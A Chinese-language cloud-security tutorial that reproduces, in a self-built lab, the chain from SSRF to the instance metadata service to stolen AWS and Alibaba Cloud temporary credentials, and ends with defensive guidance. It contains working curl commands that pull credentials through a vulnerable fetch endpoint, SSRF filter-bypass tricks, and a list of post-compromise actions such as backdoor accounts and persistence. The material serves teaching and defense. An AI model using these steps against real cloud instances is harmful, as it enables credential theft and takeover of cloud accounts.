本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
这是云安全里最经典的攻击链 :**SSRF → 访问云元数据服务(IMDS)→ 拿到临时凭证(AK/SK/Token)→ 接管云资源。**本系列第 03 篇讲了容器逃逸,这一篇讲"不打内核,直接拿钥匙"的路线。
一、云凭证体系
云 API 调用需要身份凭证。常见几类:
| 凭证类型 | 说明 | 有效期 |
|---|---|---|
| 主账号 AK/SK | 账号所有者的长期密钥,权限最大 | 长期(除非手动轮换) |
| RAM/IAM 子账号 AK/SK | 给子用户创建的长期密钥 | 长期 |
| STS 临时凭证 | 通过扮演角色(Role)获取,含 AccessKeyId/Secret/Tokem |
通常 15 分钟~1 小时 |
| IAM Role(实例角色) | 绑定到 ECS/EC2 实例,实例内可自动获取临时凭证 | 自动轮换 |
AK/SK 是什么:
-
AccessKeyId(AK):身份的"用户名",公开也无所谓。 -
AccessKeySecret(SK):密钥,绝不能泄露。 -
云 API 用 AK+SK 做签名来证明请求是你发的(见第六节)。
STS 临时凭证 多一个 SecurityToken,调用 API 时要一起带上。
二、元数据服务(IMDS)
2.1 什么是 IMDS
云厂商在每台云主机内部提供一个特殊 IP 的 HTTP 服务 ,用于让实例获取自己的信息(实例 ID、IP、以及绑定到实例的临时凭证 )。这个服务叫 Instance Metadata Service(IMDS)。
| 云厂商 | 元数据地址 |
|---|---|
| AWS | http://169.254.169.254/ |
| 阿里云(经典/VPC) | http://100.100.100.200/(公网经典地址也是 169.254.169.254) |
| 腾讯云 | http://metadata.tencentyun.com/ |
| 华为云 | http://169.254.169.254/ |
2.2 关键特性(也是漏洞根源)
-
无需认证:只要能从实例内部访问该 IP,就能拿到数据。
-
从实例外部访问不到 :它只在实例内部网络可达。这正是 SSRF 的价值------让服务器替你去访问它自己才能访问的地址。
2.3 获取临时凭证的路径
AWS:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 返回角色名,如 ecs-admin-role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-admin-role
# 返回 JSON:AccessKeyId / SecretAccessKey / Token
阿里云:
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/aliyun-ecs-role
2.4 IMDSv1 与 IMDSv2
| 版本 | 获取方式 | 安全性 |
|---|---|---|
| IMDSv1 | 直接 GET,无需任何凭证 |
极易被 SSRF 利用 |
| IMDSv2 | 先 PUT 获取 token,再带 token GET |
增加门槛,SSRF 难以利用 |
IMDSv2 示例:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
防御重点 :AWS 强烈建议强制 IMDSv2 (HttpTokens: required),让普通 SSRF 拿不到凭证。
三、实验环境搭建
远端脚本:
bash /opt/cloudsec-labs/imds/imds-up.sh
它做了三件事:
-
把
169.254.169.254和100.100.100.200绑到lo网卡,让本机可以"访问"这两个地址。 -
用 iptables 把
169.254.169.254:80的流量转发到本机8082端口(因为 80 被 nginx 占用)。 -
启动模拟元数据服务(
mock_imds.py,8082)和 SSRF 靶站(ssrf_app.py,8090)。
关键命令拆解:
ip addr add 169.254.169.254/32 dev lo
ip addr add 100.100.100.200/32 dev lo
-
ip addr add <地址>/<掩码> dev <网卡>:给网卡添加一个 IP 地址。 -
/32:掩码 32 表示单个主机地址。 -
dev lo:加到回环网卡上(本机内部可达)。
iptables -t nat -A OUTPUT -d 169.254.169.254 -p tcp --dport 80 \
-j REDIRECT --to-ports 8082
-
-t nat:操作 NAT 表。 -
-A OUTPUT:在"本机发出的包"链上追加规则。 -
-d 169.254.169.254:目标地址是元数据 IP。 -
-p tcp --dport 80:目标端口 80。 -
-j REDIRECT --to-ports 8082:把目标端口改写到 8082。
可能踩坑(本环境真实遇到) :直接让 Python 监听
169.254.169.254:80会失败 ,报OSError: [Errno 98] Address already in use。原因是 nginx 已经监听了0.0.0.0:80(通配地址会占住所有 IP 的 80 端口)。解决办法就是上面这套 iptables REDIRECT,既保留了"元数据服务在 80 端口"的真实语义,又不影响 nginx。
启动后真实回显:
=== 验证:直接访问元数据服务(模拟攻击者/云主机内部)===
{"Code": "Success", ..., "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FQoGZXIvYXdzE-lab-fake-session-token-0001", ...}
=== 验证:通过 SSRF 靶站访问(模拟公网打进来的 SSRF)===
{"Code": "Success", ..., "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", ...}
四、攻击:SSRF 打 IMDS 拿凭证
4.1 SSRF 靶站
ssrf_app.py 是一个有 SSRF 漏洞的 Web 应用,接口:
GET /fetch?url=<目标URL>
它不加校验 地请求 url 参数并返回结果。核心代码:
with urllib.request.urlopen(target, timeout=5) as r:
body = r.read()
-
urllib.request.urlopen(target):由服务器端 发起对target的请求。 -
因为服务器在云主机内部,它能访问到
169.254.169.254,而公网攻击者访问不到。
4.2 完整攻击链
第一步:探测 SSRF 是否可用
curl "http://127.0.0.1:8090/fetch?url=http://169.254.169.254/latest/meta-data/"
第二步:列出角色名
curl "http://127.0.0.1:8090/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
第三步:读取角色凭证(真实回显)
curl "http://127.0.0.1:8090/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-admin-role"
回显:
{"Code": "Success", "LastUpdated": "2026-09-14T08:00:00Z", "Type": "AWS-HMAC",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FQoGZXIvYXdzE-lab-fake-session-token-0001",
"Expiration": "2026-09-14T20:00:00Z"}
阿里云路径同理(真实回显):
curl "http://127.0.0.1:8090/fetch?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/aliyun-ecs-role"
{"AccessKeyId": "LTAI5tFakeLabAccessKeyId01",
"AccessKeySecret": "FakeLabSecretKey0123456789abcdef",
"SecurityToken": "CAIS-fake-security-token-lab-0001", ...}
到此,攻击者已经拿到云资源的临时凭证。
4.3 变体与绕过
真实环境中 SSRF 常有过滤,常见绕过:
-
IP 变形:
169.254.169.254的十进制/八进制/十六进制表示。 -
http://[::ffff:169.254.169.254]、http://0xA9FEA9FE。 -
302 跳转绕过白名单。
-
DNS 重绑定(rebinding)。
-
阿里云还可用
100.100.100.200绕过对169.254.169.254的黑名单。
(SSRF 的基础与绕过详见你的另一套笔记《SSRF 从入门到实战》。)
五、拿到 AK/SK 后能做什么
这是"为什么 AK/SK 泄露很严重"的答案:
| 操作 | 说明 |
|---|---|
| 枚举身份 | GetCallerIdentity 看这是谁的凭证 |
| 枚举权限 | 遍历各种 API,看哪些被允许(enumerate-iam、cloudfox) |
| 接管对象存储 | 读/写/删 OSS/S3 里的数据 |
| 操作云主机 | 起机器、关机、重置密码、绑定密钥 |
| 创建后门 | 新建子账号 AK、新建 Role、修改安全组放行 |
| 横向移动 | 用 AssumeRole 跳转到其他角色 |
| 窃取数据 | 读 RDS 快照、下载数据库备份 |
| 加密勒索/挖矿 | 删除快照、创建大量算力 |
典型持久化手法:新建一个子账号并授予管理员权限,即使原来的 AK 被轮换,后门仍在。
六、签名原理:为什么有 AK/SK 就能冒充
云 API 用签名 验证身份。以 AWS Signature V4 为例(sign_demo.py 演示):
python3 /opt/cloudsec-labs/imds/sign_demo.py
真实输出(节选):
===== 1. Canonical Request(规范请求)=====
GET
/
Action=GetCallerIdentity&Version=2011-06-15
host:sts.amazonaws.com
x-amz-date:20260914T125606Z
host;x-amz-date
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
===== 2. String to Sign(待签字符串)=====
AWS4-HMAC-SHA256
20260914T125606Z
20260914/us-east-1/sts/aws4_request
f6d90c180b275019abb79a8b432f539361a74cc6e5ec4cbfa085cca57044deba
===== 3. Authorization 请求头 =====
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/..., SignedHeaders=host;x-amz-date, Signature=1871df...
原理三步:
-
把请求的关键信息(方法、路径、参数、时间、头)拼成规范请求。
-
用 SK 逐层派生签名密钥,对规范请求计算 HMAC-SHA256 签名。
-
把签名放进
Authorization头。
关键结论 :签名不需要联网、不需要额外验证 ,只要知道 SK,任何人都能算出正确签名。所以 AK/SK 一旦泄露 = 身份被完全冒用。
可能踩坑 :
sign_demo.py里的 AK/SK 是示例假密钥 (AWS 官方文档用的),不能调用真实 API。要真实调用需换成自己的凭证,且用aws sts get-caller-identity之类的工具更省事。
七、AK/SK 泄露的常见途径
| 途径 | 说明 |
|---|---|
| GitHub/代码仓库 | 把 AK/SK 提交进代码,公开仓库被爬 |
| 前端硬编码 | JS 里写死 AK/SK(尤其 OSS 直传场景) |
| 配置文件 | .env、config.yaml、application.properties |
| 镜像/构建产物 | Docker 镜像层、前端打包产物 |
| 日志 | 打印了带签名的 URL 或凭证 |
| SSRF | 打 IMDS 拿临时凭证(本篇重点) |
| CI/CD 环境变量 | 流水线日志、被投毒的任务 |
| 员工电脑/钓鱼 | 直接窃取 |
八、检测与防御
8.1 针对 SSRF → IMDS
-
强制 IMDSv2 (AWS):
HttpTokens=required,SSRF 拿不到凭证。 -
网络层面阻断 :对实例出站访问
169.254.169.254做限制(部分场景可行)。 -
应用侧:SSRF 防护------URL 白名单、禁止访问内网/链路本地地址、禁用不需要的协议、限制重定向。
-
阿里云 :使用 加固模式(IMDSv2 类似) ,或通过 SSRF 防护能力。
8.2 针对 AK/SK 治理
-
最小权限 :子账号只授予必要权限,禁止
*:*。 -
优先用 STS 临时凭证和 Role,少用长期 AK。
-
定期轮换 AK,员工离职/泄露立即禁用。
-
密钥扫描 :在 CI 中集成
gitleaks、trufflehog检测泄露的密钥。 -
CSPM/CIEM:持续发现"权限过大的账号"和"暴露的凭证"。
-
云审计 :监控
CreateAccessKey、AttachPolicy、AssumeRole等敏感 API。
8.3 发现泄露后的应急
-
立即禁用/删除泄露的 AK。
-
检查该凭证近期调用记录(ActionTrail / CloudTrail)。
-
排查是否被创建后门账号/Role。
-
轮换所有可能受影响的凭证。
-
复盘泄露源头并修复。
九、常用工具
| 工具 | 用途 |
|---|---|
aliyun / aws CLI |
官方命令行 |
ossutil |
阿里云 OSS 操作 |
enumerate-iam |
枚举 AWS 凭证权限 |
cloudfox |
云环境攻击面枚举 |
gitleaks / trufflehog |
代码/仓库密钥扫描 |
Pacu |
AWS 渗透测试框架 |
十、清理实验
bash /opt/cloudsec-labs/imds/imds-down.sh
十一、本篇小结
-
云凭证:主账号 AK/SK、子账号 AK/SK、STS 临时凭证、IAM Role。
-
IMDS 是实例内部的免认证元数据服务:AWS
169.254.169.254,阿里云100.100.100.200。 -
SSRF → IMDS → 临时凭证是云上最经典攻击链。
-
签名机制决定:拿到 AK/SK 就能完全冒充身份。
-
防御:强制 IMDSv2 + 最小权限 + 临时凭证 + 密钥扫描 + 审计。